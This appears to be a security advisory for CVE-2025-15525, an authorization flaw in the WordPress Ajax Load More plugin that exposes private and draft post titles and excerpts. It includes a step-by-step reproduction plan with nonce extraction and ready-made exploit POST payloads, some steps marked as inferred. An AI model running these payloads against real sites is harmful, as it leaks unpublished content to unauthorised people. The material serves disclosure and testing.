Ajax Load More – Infinite Scroll, Lazy Load & Load More <= 7.8.1 - Incorrect Authorization to Unauthenticated Private/Draft Post Title and Excerpt Exposure
Description
The Ajax Load More – Infinite Scroll, Load More, & Lazy Load plugin for WordPress is vulnerable to unauthorized access of data due to incorrect authorization on the parse_custom_args() function in all versions up to, and including, 7.8.1. This makes it possible for unauthenticated attackers to expose the titles and excerpts of private, draft, pending, scheduled, and trashed posts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=7.8.1Source Code
WordPress.org SVNBased on the vulnerability description for **CVE-2025-15525**, this is an unauthenticated information disclosure vulnerability in the **Ajax Load More** plugin. The flaw lies in the `parse_custom_args()` function, which fails to validate if the requester has permission to view posts with restricted …
Show full research plan
Based on the vulnerability description for CVE-2025-15525, this is an unauthenticated information disclosure vulnerability in the Ajax Load More plugin. The flaw lies in the parse_custom_args() function, which fails to validate if the requester has permission to view posts with restricted statuses (like private, draft, pending, etc.) before including them in a WP_Query.
1. Vulnerability Summary
- Vulnerability: Incorrect Authorization to Private/Draft Post Data.
- Affected Function:
parse_custom_args()(inferred to be located in the core AJAX processing logic). - Constraint: The plugin allows users to pass custom query arguments to the AJAX endpoint. If an attacker provides restricted
post_statusvalues, the plugin includes them in the query results, returning titles and excerpts that should be hidden from unauthenticated users. - Impact: Disclosure of sensitive titles and excerpts of posts in
private,draft,pending,future, andtrashstates.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
alm_get_posts(Standard action for this plugin). - Vulnerable Parameter:
post_statusor custom arguments string parsed byparse_custom_args(). - Authentication: None required (exploitable via
wp_ajax_nopriv_alm_get_posts). - Preconditions: A valid AJAX nonce is required.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.php?action=alm_get_posts. - Nonce Check: The plugin calls
check_ajax_referer()using a nonce (usually localized asalm_nonce). - Argument Parsing: The plugin retrieves parameters from
$_GETor$_POST. It callsparse_custom_args()to process parameters likepost_status,post_type, and others. - The Flaw:
parse_custom_args()accepts thepost_statusparameter directly from the user input and fails to verify if the user is logged in or has theread_private_postscapability. - Query Execution: These arguments are passed into a new
WP_Query($args). - Information Leak: The query returns restricted posts. The plugin iterates through the results and returns the HTML/JSON containing the titles and excerpts.
4. Nonce Acquisition Strategy
The plugin localizes its settings and nonces into a global JavaScript object.
- Identify Shortcode: The plugin's main shortcode is
[ajax_load_more]. - Create Trigger Page: Create a public page containing this shortcode to ensure the scripts and nonces are enqueued.
wp post create --post_type=page --post_title="ALM-Test" --post_status=publish --post_content='[ajax_load_more post_type="post"]' - Navigate and Extract: Use the browser to access the page and extract the nonce from the
alm_localizeobject.- JS Variable:
window.alm_localize - Nonce Key:
alm_nonce(ornoncein some versions). - Tool Command:
browser_eval("window.alm_localize?.alm_nonce")
- JS Variable:
5. Test Data Setup
To verify the leak, we must create content that should be invisible to the public.
- Private Post:
wp post create --post_type=post --post_title="SECRET_PRIVATE_TITLE" --post_excerpt="This is a secret private excerpt." --post_status=private - Draft Post:
wp post create --post_type=post --post_title="SECRET_DRAFT_TITLE" --post_excerpt="This is a secret draft excerpt." --post_status=draft - Pending Post:
wp post create --post_type=post --post_title="SECRET_PENDING_TITLE" --post_excerpt="This is a secret pending excerpt." --post_status=pending
6. Exploitation Strategy
Perform an unauthenticated AJAX request to fetch the restricted posts.
- HTTP Tool:
http_request - Method:
POST - URL:
http://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
action=alm_get_posts&nonce=[EXTRACTED_NONCE]&post_status=private,draft,pending,trash,future&posts_per_page=10 - Expected Response: A successful response (HTTP 200) containing the strings
SECRET_PRIVATE_TITLE,SECRET_DRAFT_TITLE, or their respective excerpts in the response body.
7. Expected Results
- Vulnerable Version (<= 7.8.1): The response body contains the HTML or JSON representation of the private and draft posts created in step 5.
- Patched Version (7.8.2): The plugin should either ignore the
post_statusparameter for unauthenticated users (defaulting topublish) or return an error, resulting in the secret titles NOT appearing in the response.
8. Verification Steps
After the http_request, verify the exposure:
- Search the response body for the specific "SECRET" strings.
- Confirm via
wp post list --post_status=private,draftthat these posts still exist and are correctly assigned those statuses. - If the strings are found in the
http_requestoutput, the information disclosure is confirmed.
9. Alternative Approaches
If post_status is not accepted as a top-level parameter, it might be nested within a custom_args or query_args parameter:
- Alternative Payload 1:
action=alm_get_posts&nonce=[NONCE]&custom_args=post_status:private;draft - Alternative Payload 2:
action=alm_get_posts&nonce=[NONCE]&query_args[post_status]=private
The research should prioritize checking how parse_custom_args processes the input (string vs array). Typically, ALM uses a format like key:value;key2:value2 for custom arguments.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.